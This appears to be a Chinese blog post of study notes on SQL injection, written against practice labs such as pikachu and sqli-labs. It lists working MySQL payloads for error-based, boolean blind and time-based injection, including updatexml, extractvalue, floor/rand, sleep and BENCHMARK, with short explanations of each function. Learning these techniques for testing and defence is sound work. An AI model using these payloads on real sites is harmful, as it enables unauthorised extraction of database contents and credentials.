报错盲注以及查询方式
查询方式
select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url,text) values ( 2,'x','$t')
username=xiaodi'or updatexml(1,concat(0x7e,version(),0x7e),0) or'&password=123456&sex=man&phonenum=138&email=%E5%9B%9B%E5%B7%9D&add=%E6%88%90%E9%83%BD&submit=submit
delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id
payload: 68 or updatexml (1,concat(0x7e,datebase()),0)
且在BurpSuite中Ctrl+U 对payload进行url编码
update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username=' admin'
payload: 'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id , name , price from news order by $order
相应的注入和功能有关
盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。
一、基于布尔的SQL盲注-逻辑判断
regexp, like , ascii,left, ord , mid
可能用到的函数:
mid(str,start,length) :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
123456
二、基于时间的SQL盲注-延时判断
if ,sleep
if(condition,A,B): condition是正确那么就返回A,否则就返回B
select * from member where id=1 and sleep(if(database()='pikachu',5,0));
//如果结果正确,sleep5秒,错误就不sleep
select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
//判断数据库名称是不是以p开头如果是的话就延迟五秒输出。
三、基于报错的SQL盲注-报错回显 (强制性让对方报错)-最快
floor, updatexml, extractvalue
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
补充:
1.使用or是为了绕过登陆成功登入
使用and是为了查询更多数据(数据库,表名,列名等)
2.union 前后的两个 sql 语句的选择列数要相同才可以
3盲注:
①left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
less5
如果正确会显示You are in......,错误则什么也不显示
布尔盲注
①?id=1' and left(version(),1)=5--+ //看数据库版本
②?id=1' and length(database())=7--+ //看数据库名字长度
③?id=1'and left(database(),1)>'a'--+ //看数据库首字母
④?id=1'and left(database(),2)>'sa'--+ //看数据库前两位
⑤?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>80--+//查第一个表名的第一个字符
//substr函数用于提取字符串的子串。这里从子查询返回的表名中提取第一个字符(位置1,长度1)
//limit 0,1表示从结果中取第一行(偏移量0,取1行),即获取security数据库中的第一个表名。
⑥?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>80--+ //查第一个表名的第二个字符
⑦?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>80--+ //查第二个表名的第一个字符
⑧?id=1 and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1);
//无 limit 0,1:可能返回多行 → 语法错误 → 攻击检测失败
//改成limit 1,1: 是否存在至少两个匹配的表?
//选择 users 表中的列名是否有 us**的列
1=(select 1 from ...):
- 如果子查询返回结果,则select 1会返回1,整个条件变成1=1(真)
- 如果子查询没有结果,则返回空,条件变成1=NULL(假)
⑨?id=1‘ and ORD(MID((select ifnull(cast(username AS CHAR),0x20)from security.users order by id limit 0,1),1,1))=68--+
//从security.users表的username字段中提取第一个用户的用户名的第一个字符,并检查它是否等于字符'D'(ASCII 68)
//mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
//Ord()函数同 ascii(),将字符转为 ascii 值
cast(username AS CHAR): 将username字段转换为CHAR类型
ifnull(...,0x20):
- 如果username为NULL,返回
0x20(空格) - 防止NULL值导致整个表达式返回NULL
MID(...,1,1)
- 从子查询结果的第一个字符开始,取1个字符
- 即:第一个用户的用户名的第一个字符
报错注入
目的:产生类似
Duplicate entry '::root@localhost::1' for key 'group_key'
的报错得到关键信息
构造:
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
// count(*) 记录行数
如果关键的表被禁用了,可以使用这种形式:
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其他可用报错:
▲select exp(~(select * FROM(SELECT USER())a))
▲select !(select * from (select user())x) -(ps:这是减号) ~0
▲extractvalue(1,concat(0x7e,(select @@version),0x7e))
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
延时注入
①利用sleep函数
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
//当错误时,沉睡五秒
②BENCHMARK()s
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
- SUBSTRING(current,1,1): 从
current字段取第一个字符 - CHAR(115): ASCII 115对应的字符是
's' - BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')): 时间延迟函数
- null: 条件不满足时返回null
//当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间。
浙公网安备 33010602011771号